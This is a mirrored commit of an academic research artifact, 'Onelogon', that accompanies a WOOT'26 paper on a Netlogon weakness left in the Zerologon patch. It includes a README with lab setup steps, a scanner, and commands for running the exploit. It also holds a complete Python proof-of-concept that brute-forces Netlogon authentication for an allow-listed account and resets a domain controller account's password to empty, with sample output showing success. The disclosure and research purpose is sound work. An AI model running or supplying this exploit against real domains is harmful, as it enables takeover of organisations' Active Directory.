mirror of
https://github.com/rub-softsec/onelogon
synced 2026-06-27 13:00:05 +00:00
Onelogon: Initial public release
This commit is contained in:
@@ -0,0 +1 @@
|
||||
__pycache__/
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Alexander Neff
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,222 @@
|
||||
# Onelogon: Taking over Active Directory Accounts via Netlogon
|
||||
|
||||
This repository contains code and data accompanying our paper [*Onelogon: Taking over Active Directory Accounts via Netlogon*](https://softsec.link/woot26.onelogon) (WOOT'26).
|
||||
|
||||
1. [Context](#context)
|
||||
2. [How to Cite](#how-to-cite)
|
||||
3. [Artifact Structure and Setup](#artifact-structure-and-setup)
|
||||
4. [Setting Up a Test Environment](#setting-up-a-test-environment)
|
||||
5. [Scanning for Vulnerable Setups](#scanning-for-vulnerable-setups)
|
||||
6. [Exploitation](#exploitation)
|
||||
7. [Reproducing the Measurements](#reproducing-the-measurements)
|
||||
|
||||
---
|
||||
|
||||
## Context
|
||||
|
||||
The vulnerability outlined in our paper attacks a weakness in the 2020 cryptographic patch for the Zerologon vulnerability.
|
||||
Accounts listed in a group policy intended to allow support for legacy setups that do not support Netlogon signing and sealing are vulnerable to this attack.
|
||||
A detailed description of the vulnerability, the expected full attack chain, and possible mitigations can be found [in the paper](onelogon.pdf).
|
||||
|
||||
## How to Cite
|
||||
|
||||
```bibtex
|
||||
@inproceedings{woot2026-onelogon,
|
||||
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
|
||||
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
|
||||
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
|
||||
date = {2026-08},
|
||||
editor = {Bianchi, Antonio and Classen, Jiska},
|
||||
location = {Baltimore, MD, USA},
|
||||
publisher = {USENIX Association}
|
||||
}
|
||||
```
|
||||
|
||||
## Artifact Structure and Setup
|
||||
|
||||
The artifact consists of a Python [`poetry`](https://python-poetry.org/) project for the scanner and exploits.
|
||||
|
||||
To run the scripts provided with the artifact, install Python (3.12 or later) and either `poetry` ([instructions](https://python-poetry.org/docs/)) or `uv` ([instructions](https://docs.astral.sh/uv/getting-started/installation/)). For simplicity, we list the commands assuming that you are using `poetry`; should you choose to use `uv`, simply replace any mention of `poetry` with `uv`.
|
||||
|
||||
Any commands in this document should be run in the artifact root directory (where this README is).
|
||||
|
||||
If using `poetry`, run `poetry install` to install all dependencies.
|
||||
|
||||
## Setting Up a Test Environment
|
||||
|
||||
To reproduce the results of the paper, you can set up a Domain Controller using a version of Windows Server with Zerologon fixed (we have verified the exploit against both the 2019 and 2025 versions).
|
||||
|
||||
To set up the Domain Controller on a new installation of Windows Server 2025, run the following commands:
|
||||
|
||||
```powershell
|
||||
# Update system and rename computer to "DC"
|
||||
Install-Module -Name PSWindowsUpdate -Force
|
||||
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
|
||||
Rename-Computer -NewName "DC" -Restart
|
||||
|
||||
# Set up the domain (as "onelogon.local")
|
||||
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
|
||||
Install-ADDSForest -DomainName "onelogon.local"
|
||||
|
||||
# Disable Administrator password expiry to keep the VM usable
|
||||
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
|
||||
```
|
||||
|
||||
The vulnerability applies to any account listed in the DACL in the _Domain Controller: Allow vulnerable Netlogon secure channel connections_ group policy object or the corresponding registry key:
|
||||
`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList`
|
||||
|
||||
You can manually configure these parameters on the Domain Controller (remember to run `gpupdate /force` if you update the GPO entry), or run the following command to add all accounts to the DACL in the registry key:
|
||||
|
||||
```powershell
|
||||
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
|
||||
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
|
||||
-ValueName "VulnerableChannelAllowList" `
|
||||
-Type String `
|
||||
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
|
||||
```
|
||||
|
||||
## Scanning for Vulnerable Setups
|
||||
|
||||
To determine which accounts a Domain Controller lists in its `VulnerableChannelAllowList`, we provide a scanner that parses the registry hive and GPO volume share of the Domain Controller.
|
||||
Note that accessing the registry for this scan requires Domain Administrator privileges (the exploit, of course, does not).
|
||||
|
||||
```powershell
|
||||
# Use the specified username and password to scan the target DC.
|
||||
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
|
||||
|
||||
# Specify `--help` to get additional usage instructions.
|
||||
poetry run scan --help
|
||||
```
|
||||
|
||||
A _positive_ scan result (there are vulnerable accounts on the Domain Controller) will reflect the security descriptor containing the vulnerable accounts (in Microsoft's Security Descriptor Definition Language):
|
||||
|
||||
```
|
||||
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
|
||||
[+] Found 1 matching policies in SYSVOL Share.
|
||||
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
|
||||
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
|
||||
[+] Found VulnerableChannelAllowList registry configuration:
|
||||
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
|
||||
```
|
||||
|
||||
A _negative_ result (the target DC is _not_ vulnerable) will instead look like this:
|
||||
|
||||
```
|
||||
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
|
||||
[-] No matching policies found in SYSVOL Share.
|
||||
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
|
||||
- The system cannot find the file specified.
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
To run the proof-of-concept exploit against a target Domain Controller, select a vulnerable account first.
|
||||
You will need the Domain Controller's IP address, its host name, and the name of the vulnerable account.
|
||||
|
||||
In our example setup, the vulnerable Domain Controller is named `DC`.
|
||||
Its machine account (`DC$`) is included in the GPO policy and therefore vulnerable to Onelogon.
|
||||
|
||||
```bash
|
||||
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
|
||||
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
|
||||
--username <Target account name>
|
||||
|
||||
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
|
||||
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
|
||||
--username <Target account name> \
|
||||
--comp-username <Computer account> --comp-pass <Computer account password>
|
||||
|
||||
# Run the (slow) 32-bit brute-force with a computer account
|
||||
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
|
||||
--username <Target account name> \
|
||||
--comp-username <Computer account> --comp-pass <Computer account password>
|
||||
|
||||
# Run the (very slow) 32-bit brute-force without a computer account
|
||||
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
|
||||
--username <Target account name>
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Successful exploit output</summary>
|
||||
|
||||
As an illustration, we provide the output of a successful run of the meet-in-the-middle attack against a test environment:
|
||||
|
||||
```
|
||||
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
|
||||
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
|
||||
comp_password=None, comp_hash=None, workers=100)
|
||||
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
|
||||
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
|
||||
[+] Using flags: (0b100001000111111111111111111111)
|
||||
1: A IGNORED (Account lockout)
|
||||
1: B NT3.5 BDC continuous update
|
||||
1: C RC4 support
|
||||
1: D IGNORED (Promotion count(deprecated))
|
||||
1: E Supports BDC handling Changelogs
|
||||
1: F Supports Restarting full DC sync
|
||||
1: G Does not require ValidationLevel 2 for nongeneric passthrough
|
||||
1: H Supports DatabaseRedo
|
||||
1: I Supports refusal of password changes
|
||||
1: J Supports NetrLogonSendToSam
|
||||
1: K Supports generic pass-through
|
||||
1: L Supports concurrent RPC calls
|
||||
1: M Supports avoid of user account database replication
|
||||
1: N Supports avoid of Security Authority database replication
|
||||
1: O Supports Strong keys
|
||||
1: P Supports transitive trusts
|
||||
1: Q IGNORED (Supports DNS trusts)
|
||||
1: R Supports NetrServerPasswordSet2
|
||||
1: S Supports NetrLogonGetDomainInfo
|
||||
1: T Supports cross-forest trusts
|
||||
1: U No NT4 Emulation
|
||||
0: V Supports RODC pass-through
|
||||
0: 0
|
||||
0: 0
|
||||
1: W Supports AES 128-bit CFB and SHA2
|
||||
0: 0
|
||||
0: 0
|
||||
0: 0
|
||||
0: 0
|
||||
1: X IGNORED (Authenticated RPC via lsass supported)
|
||||
0: Y Supports secure RPC authentication
|
||||
0: Z Supports Kerberos for secure channel setup
|
||||
[*] Estimated total tries without flushing: 2^16 / 2
|
||||
|
||||
[+] Starting the brute force attack...
|
||||
[*] ROUND STATS:
|
||||
[*] REQ: Took 5.0858272750047036 seconds,
|
||||
average time per attempt: 0.00286042028965393909 seconds
|
||||
[*] TRY: Took 120.00023781700293 seconds
|
||||
[*] CLEANUP: Took 5.999754648655653e-08 seconds
|
||||
[*] ALL: Took 125.08606619200145 seconds,
|
||||
average time per attempt: 0.07035211821822354161 seconds
|
||||
[*]
|
||||
[*] TOTAL STATS:
|
||||
[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
|
||||
[*] TRIES: 5538, average tries per cycle: 1846
|
||||
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
|
||||
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
|
||||
[+] Password set successfully to empty string!
|
||||
[+] Successfully set the password of DC$ to an empty string!
|
||||
[+] All tasks have been processed, stopping workers.
|
||||
[+] All workers have been stopped.
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
## Reproducing the Measurements
|
||||
|
||||
To reproduce the measurements in Table 1 of the paper, execute all four exploits described in the previous section.
|
||||
|
||||
You can obtain the expected attack time without completing the full attack, which would be prohibitively expensive for the naive approaches.
|
||||
|
||||
The speed of the 32-bit brute-force that waits for the timeout is bounded by the validity period of the client challenges. A full cycle (in which 100k challenges can be processed) then takes 120s (the timeout for the challenge list to be cleared). The expected attack time, therefore, is always $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$.
|
||||
|
||||
For attacks that use a computer account (both the 32-bit and 24-bit attacks), take the average time per attempt $t$ from the **`TOTAL STATS`** section of the output. The 32-bit attack needs on average $2^{31}$ attempts (for a total expected time of $2^{31}t$). Similarly, the expected duration of the 24-bit attack is $2^{23}t$.
|
||||
|
||||
For the meet-in-the-middle approach, we cannot attempt all possible client credentials within the 120 second challenge expiry time.
|
||||
Instead, the expected time for the attack is determined by how many authentiaction attempts we can perform within that time frame.
|
||||
To obtain this figure, take the _average number of tries per cycle_ $a$ from the **`TOTAL STATS`** section of the output.
|
||||
Since we need on average $2^{15}$ authentication attempts to obtain a success rate of 50%, the expected attack time is simply $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$
|
||||
|
||||
The exact timings obtained will depend on the exact hardware and software setup.
|
||||
Binary file not shown.
@@ -0,0 +1,331 @@
|
||||
import argparse
|
||||
from exploit.utils import AES_128_BIT_CFB_AND_SHA2, FLAGS, log
|
||||
from impacket.dcerpc.v5 import nrpc, epm, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.nt_errors import STATUS_ACCESS_DENIED
|
||||
from multiprocessing import JoinableQueue, Process
|
||||
import time
|
||||
import signal
|
||||
|
||||
# Increase file limit
|
||||
import resource
|
||||
|
||||
file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE))
|
||||
if file_limit[1] > 10000:
|
||||
file_limit[0] = 10000
|
||||
else:
|
||||
file_limit[0] = file_limit[1]
|
||||
file_limit = tuple(file_limit)
|
||||
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
|
||||
|
||||
|
||||
def parse_args():
|
||||
parser = argparse.ArgumentParser(description="Netlogon RPC Client")
|
||||
parser.add_argument("--dc-name", help="Domain Controller Name")
|
||||
parser.add_argument("--dc-ip", required=True, help="Domain Controller IP Address")
|
||||
parser.add_argument("--username", "-u", required=True, help="sAMAccountName of the domain controller")
|
||||
parser.add_argument("--comp-username", help="sAMAccountName of the computer account for buffer flushing")
|
||||
parser.add_argument("--comp-password", help="Computer password for buffer flushing")
|
||||
parser.add_argument("--comp-hash", help="Computer hash for buffer flushing (optional, if not provided, password will be used)")
|
||||
parser.add_argument("--workers", "-w", type=int, default=100, help="Number of worker threads")
|
||||
parser.add_argument("--naive", action="store_true", help="Use naive approach and bruteforce 2^32")
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
def connect(dc_ip, dc_name, silent=False):
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
try:
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
if not silent:
|
||||
log(f"Successfully bound to Netlogon RPC on {dc_name} ({dc_ip})")
|
||||
return rpc_con
|
||||
except Exception as e:
|
||||
log(f"Failed to bind to Netlogon RPC: {e}", "red")
|
||||
exit(1)
|
||||
|
||||
|
||||
def req_challenges_worker(queue: JoinableQueue, dc_ip, dc_name, computer_name, client_chall, per_worker):
|
||||
# Ignore SIGINT in this process (worker will not react to Ctrl+C)
|
||||
signal.signal(signal.SIGINT, signal.SIG_IGN)
|
||||
|
||||
rpc_con = connect(dc_ip, dc_name, silent=True)
|
||||
while True:
|
||||
task = queue.get()
|
||||
|
||||
if task == "STOP":
|
||||
queue.task_done()
|
||||
break
|
||||
try:
|
||||
for _ in range(per_worker):
|
||||
nrpc.hNetrServerReqChallenge(
|
||||
rpc_con,
|
||||
f"{dc_name}\x00",
|
||||
f"{computer_name}\x00",
|
||||
client_chall
|
||||
)
|
||||
except Exception as e:
|
||||
log(f"Worker error: {e}", "red")
|
||||
finally:
|
||||
queue.task_done()
|
||||
|
||||
|
||||
def do_successful_authentication(rpc_con, dc_name, computername, username, password=None, nt_hash=None, server_chall=None):
|
||||
if password is None and nt_hash is None:
|
||||
raise ValueError("Either password or nt_hash must be provided")
|
||||
|
||||
AccountName = f"{username}$" # Account that tries to authenticate
|
||||
ComputerName = computername
|
||||
client_chall = b"12345678"
|
||||
|
||||
flags = FLAGS(0b0100000000111111111111111111111)
|
||||
flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag
|
||||
|
||||
if not server_chall:
|
||||
# Request server challenge if not provided
|
||||
resp = nrpc.hNetrServerReqChallenge(
|
||||
rpc_con,
|
||||
f"{dc_name}\x00",
|
||||
f"{ComputerName}\x00",
|
||||
client_chall,
|
||||
)
|
||||
server_chall = resp["ServerChallenge"]
|
||||
|
||||
# Local computations
|
||||
session_key = nrpc.ComputeSessionKeyAES(
|
||||
password,
|
||||
client_chall,
|
||||
server_chall,
|
||||
nt_hash,
|
||||
)
|
||||
|
||||
ClientStoredCredential = nrpc.ComputeNetlogonCredentialAES(
|
||||
client_chall,
|
||||
session_key,
|
||||
)
|
||||
|
||||
# Authenticate with the server
|
||||
nrpc.hNetrServerAuthenticate2(
|
||||
rpc_con,
|
||||
NULL,
|
||||
f"{AccountName}\x00",
|
||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
|
||||
f"{ComputerName}\x00",
|
||||
ClientStoredCredential,
|
||||
flags.flag
|
||||
)
|
||||
|
||||
|
||||
def set_password_empty(rpc_con, dc_name, AccountName, ComputerName, client_chall):
|
||||
# Construct a valid authenticator
|
||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||
authenticator["Credential"] = client_chall # The encryption will revert the last byte back to the original value
|
||||
authenticator["Timestamp"] = 0
|
||||
|
||||
# Construct the ClearNewPassword structure as empty password
|
||||
new_pw = "".encode("utf-16le")
|
||||
assert len(new_pw) <= 512
|
||||
ClearNewPassword = nrpc.NL_TRUST_PASSWORD()
|
||||
ClearNewPassword["Buffer"] = (b"\x00" * (512 - len(new_pw))) + new_pw
|
||||
ClearNewPassword["Length"] = len(new_pw)
|
||||
assert len(ClearNewPassword.getData()) == 516
|
||||
assert ClearNewPassword.getData() == b"\x00" * 516
|
||||
|
||||
req = nrpc.NetrServerPasswordSet2()
|
||||
req["PrimaryName"] = f"{dc_name}\x00"
|
||||
req["AccountName"] = f"{AccountName}\x00"
|
||||
req["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
req["ComputerName"] = f"{ComputerName}\x00"
|
||||
req["Authenticator"] = authenticator
|
||||
req["ClearNewPassword"] = ClearNewPassword.getData()
|
||||
try:
|
||||
rpc_con.request(req)
|
||||
log("Password set successfully to empty string!")
|
||||
return True
|
||||
except nrpc.DCERPCException:
|
||||
return False
|
||||
|
||||
|
||||
def clear_lines(n):
|
||||
r"""
|
||||
Clears n lines in the terminal.
|
||||
\033[F moves the cursor up one line.
|
||||
\033[K clears the line.
|
||||
"""
|
||||
for _ in range(n):
|
||||
print("\x1B[F\x1B[K", end="")
|
||||
|
||||
|
||||
def main():
|
||||
args = parse_args()
|
||||
log(args)
|
||||
|
||||
# Set up arg variables
|
||||
dc_ip = args.dc_ip
|
||||
dc_name = args.dc_name
|
||||
username = args.username.rstrip("$") # Remove trailing '$' if present
|
||||
num_workers = args.workers
|
||||
comp_username = args.comp_username.rstrip("$") if args.comp_username else None # Remove trailing '$' if present
|
||||
comp_password = args.comp_password
|
||||
comp_hash = bytes.fromhex(args.comp_hash) if args.comp_hash else None
|
||||
|
||||
# Setup two rpc connections for the cleanup auth and our main authentication try
|
||||
rpc_con_auth = connect(dc_ip, dc_name)
|
||||
rpc_con_cleanup = connect(dc_ip, dc_name)
|
||||
|
||||
# Define the flags for AES authentication
|
||||
flags = FLAGS(0b0100000000111111111111111111111)
|
||||
flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag
|
||||
log(f"Using flags: ({bin(flags.flag)}) \n{flags} ")
|
||||
|
||||
# Define auth vars
|
||||
tries = 100_000 # 100_000 cache places but leave some room for clean up and other connections
|
||||
per_worker = tries // num_workers
|
||||
AccountName = f"{username}$" # Account that tries to authenticate
|
||||
ComputerName = username # NetBIOS name of the client computer authenticating
|
||||
client_chall = b"\x00" * 4 + b"\x11" * 3 + b"\x00"
|
||||
|
||||
# Set up multiprocessing queue for request challenges
|
||||
task_queue = JoinableQueue()
|
||||
processes = []
|
||||
for _ in range(num_workers):
|
||||
p = Process(
|
||||
target=req_challenges_worker,
|
||||
args=(task_queue, dc_ip, dc_name, ComputerName, client_chall, per_worker)
|
||||
)
|
||||
p.start()
|
||||
processes.append(p)
|
||||
|
||||
# To be sure we have a clean start, do a successful authentication first
|
||||
if comp_username:
|
||||
do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash)
|
||||
|
||||
total_time = 0
|
||||
total_tries = 0
|
||||
cycles = 0
|
||||
if comp_username and not args.naive:
|
||||
log("Estimated total tries with flushing: 2^24 / 2")
|
||||
exp_tries = 2**24 / 2
|
||||
authenticator_complexity = 2**8
|
||||
elif args.naive:
|
||||
log("Estimated total tries (naive): 2^32 / 2")
|
||||
exp_tries = 2**32 / 2
|
||||
authenticator_complexity = 1
|
||||
else:
|
||||
log("Estimated total tries without flushing: 2^16 / 2")
|
||||
exp_tries = 2**16 / 2
|
||||
authenticator_complexity = 2**16
|
||||
|
||||
# Stop bruteforce if we found a valid clientCredential
|
||||
found = False
|
||||
|
||||
print()
|
||||
log("Starting the brute force attack...")
|
||||
try:
|
||||
while not found:
|
||||
cycles += 1
|
||||
start_all = time.perf_counter()
|
||||
start_req = time.perf_counter()
|
||||
|
||||
# Request server challenge for clean up so it is the first item in the request list
|
||||
resp = nrpc.hNetrServerReqChallenge(
|
||||
rpc_con_cleanup,
|
||||
f"{dc_name}\x00",
|
||||
f"{ComputerName}\x00",
|
||||
b"12345678" # Dummy client challenge,
|
||||
)
|
||||
server_chall = resp["ServerChallenge"]
|
||||
|
||||
# Perform challenge requests
|
||||
for _ in range(num_workers):
|
||||
task_queue.put("REQUEST")
|
||||
task_queue.join() # Block until all tasks are processed
|
||||
end_req = time.perf_counter()
|
||||
|
||||
# Try to guess the clientCredential which should be client_challenge[:6] + 2x rand_byte
|
||||
start_auth = time.perf_counter()
|
||||
tries_this_round = tries
|
||||
for i in range(authenticator_complexity):
|
||||
# If we exceed 2 minutes, resend challenges and restart the round due to automatic cache flush
|
||||
curr_time = time.perf_counter()
|
||||
if curr_time - start_auth > 120:
|
||||
tries_this_round = i
|
||||
break
|
||||
|
||||
try:
|
||||
if comp_username:
|
||||
clientCredential = client_chall[:7] + int.to_bytes(i, 1)
|
||||
else:
|
||||
clientCredential = client_chall[:6] + int.to_bytes(i, 2)
|
||||
|
||||
# Check if session key encrypts the client challenge with null bytes
|
||||
nrpc.hNetrServerAuthenticate2(
|
||||
rpc_con_auth,
|
||||
NULL,
|
||||
f"{AccountName}\x00",
|
||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
f"{ComputerName}\x00",
|
||||
clientCredential, # IF THIS WORKS WE FOUND THE CORRECT SESSION KEY
|
||||
flags.flag
|
||||
)
|
||||
log(f"!!!Successfully authenticated {AccountName} on {dc_name} with {clientCredential}!!!")
|
||||
found = True
|
||||
except nrpc.DCERPCSessionError as e:
|
||||
if e.get_error_code() == STATUS_ACCESS_DENIED:
|
||||
pass
|
||||
else:
|
||||
raise e
|
||||
except Exception as e:
|
||||
log(f"Authentication error: {e}", "red")
|
||||
end_auth = time.perf_counter()
|
||||
|
||||
if not found:
|
||||
start_cleanup = time.perf_counter()
|
||||
if comp_username:
|
||||
do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash, server_chall=server_chall)
|
||||
end_cleanup = time.perf_counter()
|
||||
|
||||
end_all = time.perf_counter()
|
||||
|
||||
# Flush previous lines
|
||||
if total_tries != 0:
|
||||
clear_lines(10)
|
||||
|
||||
# Track all time stats
|
||||
total_tries += tries_this_round
|
||||
total_time += end_all - start_all
|
||||
|
||||
# Log the timing information
|
||||
log("ROUND STATS:", "blue")
|
||||
log(f"REQ: Took {end_req - start_req} seconds, average time per attempt: {(end_req - start_req) / (tries_this_round):.20f} seconds", "blue")
|
||||
log(f"TRY: Took {end_auth - start_auth} seconds", "blue")
|
||||
log(f"CLEANUP: Took {end_cleanup - start_cleanup} seconds", "blue")
|
||||
log(f"ALL: Took {end_all - start_all} seconds, average time per attempt: {(end_all - start_all) / (tries_this_round):.20f} seconds", "blue")
|
||||
log("", "blue")
|
||||
log("TOTAL STATS:", "blue")
|
||||
log(f"TIME: {total_time / 60 / 60:.2f} hours passed, average time per attempt: {total_time / (total_tries):.20f} seconds", "blue")
|
||||
log(f"TRIES: {total_tries}, average tries per cycle: {total_tries // cycles}", "blue")
|
||||
log(f"Estimated progress: {(total_tries / exp_tries) * 100:.2f}%, estimated time remaining: {((total_time / total_tries) * (exp_tries - total_tries)) / 60 / 60:.2f} hours", "blue")
|
||||
|
||||
# SET THE NEW PASSWORD TO EMPTY STRING
|
||||
for i in range(256):
|
||||
if set_password_empty(rpc_con_auth, dc_name, AccountName, ComputerName, client_chall[:7] + int.to_bytes(i)):
|
||||
log(f"Successfully set the password of {AccountName} to an empty string!")
|
||||
break
|
||||
except KeyboardInterrupt:
|
||||
print("\x1B[K", end="\r")
|
||||
log("KeyboardInterrupt received, exiting gracefully.")
|
||||
finally:
|
||||
# Stop all worker processes
|
||||
for _ in processes:
|
||||
task_queue.put("STOP")
|
||||
|
||||
log("All tasks have been processed, stopping workers.")
|
||||
for p in processes:
|
||||
p.join()
|
||||
print(f"Worker {p.pid} has been stopped.", end="\r", flush=True)
|
||||
|
||||
log("All workers have been stopped.")
|
||||
task_queue.join()
|
||||
task_queue.close()
|
||||
@@ -0,0 +1,145 @@
|
||||
from termcolor import colored
|
||||
|
||||
|
||||
NT35_BDC_CONTINUOUS_UPDATE = 0b10
|
||||
RC4_SUPPORT = 0b100
|
||||
BDC_HANDLING_CHANGELOGS = 0b10000
|
||||
RESTARTING_FULL_DC_SYNC = 0b100000
|
||||
NO_VALIDATION_LEVEL_2_FOR_NON_GENERIC_PASSTHROUGH = 0b10000000
|
||||
DATABASE_REDO = 0b10000000
|
||||
REFUSAL_OF_PASSWORD_CHANGES = 0b100000000
|
||||
NETRLOGON_SEND_TO_SAM = 0b1000000000
|
||||
GENERIC_PASS_THROUGH = 0b10000000000
|
||||
CONCURRENT_RPC_CALLS = 0b100000000000
|
||||
AVOID_USER_ACCOUNT_DATABASE_REPLICATION = 0b1000000000000
|
||||
AVOID_SECURITY_AUTHORITY_DATABASE_REPLICATION = 0b10000000000000
|
||||
STRONG_KEYS = 0b100000000000000
|
||||
TRANSITIVE_TRUSTS = 0b1000000000000000
|
||||
NETR_SERVER_PASSWORD_SET2 = 0b100000000000000000
|
||||
NETR_LOGON_GET_DOMAIN_INFO = 0b1000000000000000000
|
||||
CROSS_FOREST_TRUSTS = 0b10000000000000000000
|
||||
NO_NT4_EMULATION = 0b100000000000000000000
|
||||
RODC_PASS_THROUGH = 0b1000000000000000000000
|
||||
AES_128_BIT_CFB_AND_SHA2 = 0b1000000000000000000000000
|
||||
AUTHENTICATED_RPC_VIA_LSASS_SUPPORTED = 0b100000000000000000000000000000
|
||||
SECURE_RPC_AUTHENTICATION = 0b1000000000000000000000000000000
|
||||
KERBEROS_FOR_SECURE_CHANNEL_SETUP = 0b10000000000000000000000000000000
|
||||
|
||||
|
||||
# 3.1.4.2 Netlogon Negotiate Options
|
||||
class FLAGS:
|
||||
def __init__(self, flag: int):
|
||||
self.flag = flag
|
||||
if flag < 0 or flag > 0xFFFFFFFF:
|
||||
raise ValueError("Flags must be a 32-bit unsigned integer.")
|
||||
|
||||
self.flag_values = {
|
||||
0b1: "A IGNORED (Account lockout)",
|
||||
0b10: "B NT3.5 BDC continuous update",
|
||||
0b100: "C RC4 support",
|
||||
0b1000: "D IGNORED (Promotion count(deprecated))",
|
||||
0b10000: "E Supports BDC handling Changelogs",
|
||||
0b100000: "F Supports Restarting full DC sync",
|
||||
0b1000000: "G Does not require ValidationLevel 2 for nongeneric passthrough",
|
||||
0b10000000: "H Supports DatabaseRedo",
|
||||
0b100000000: "I Supports refusal of password changes",
|
||||
0b1000000000: "J Supports NetrLogonSendToSam",
|
||||
0b10000000000: "K Supports generic pass-through",
|
||||
0b100000000000: "L Supports concurrent RPC calls",
|
||||
0b1000000000000: "M Supports avoid of user account database replication",
|
||||
0b10000000000000: "N Supports avoid of Security Authority database replication",
|
||||
0b100000000000000: "O Supports Strong keys",
|
||||
0b1000000000000000: "P Supports transitive trusts",
|
||||
0b10000000000000000: "Q IGNORED (Supports DNS trusts)",
|
||||
0b100000000000000000: "R Supports NetrServerPasswordSet2",
|
||||
0b1000000000000000000: "S Supports NetrLogonGetDomainInfo",
|
||||
0b10000000000000000000: "T Supports cross-forest trusts",
|
||||
0b100000000000000000000: "U No NT4 Emulation",
|
||||
0b1000000000000000000000: "V Supports RODC pass-through",
|
||||
0b10000000000000000000000: "0",
|
||||
0b100000000000000000000000: "0",
|
||||
0b1000000000000000000000000: "W Supports AES 128-bit CFB and SHA2",
|
||||
0b10000000000000000000000000: "0",
|
||||
0b100000000000000000000000000: "0",
|
||||
0b1000000000000000000000000000: "0",
|
||||
0b10000000000000000000000000000: "0",
|
||||
0b100000000000000000000000000000: "X IGNORED (Authenticated RPC via lsass supported)",
|
||||
0b1000000000000000000000000000000: "Y Supports secure RPC authentication",
|
||||
0b10000000000000000000000000000000: "Z Supports Kerberos for secure channel setup",
|
||||
}
|
||||
|
||||
def compare(self, other):
|
||||
if not isinstance(other, FLAGS):
|
||||
raise TypeError("Comparison is only supported with another FLAGS instance.")
|
||||
if self.flag == other.flag:
|
||||
return "Equal"
|
||||
else:
|
||||
out = "Self - Other - Difference:\n"
|
||||
for i in range(1, 33):
|
||||
if (self.flag & (1 << i)) != (other.flag & (1 << i)):
|
||||
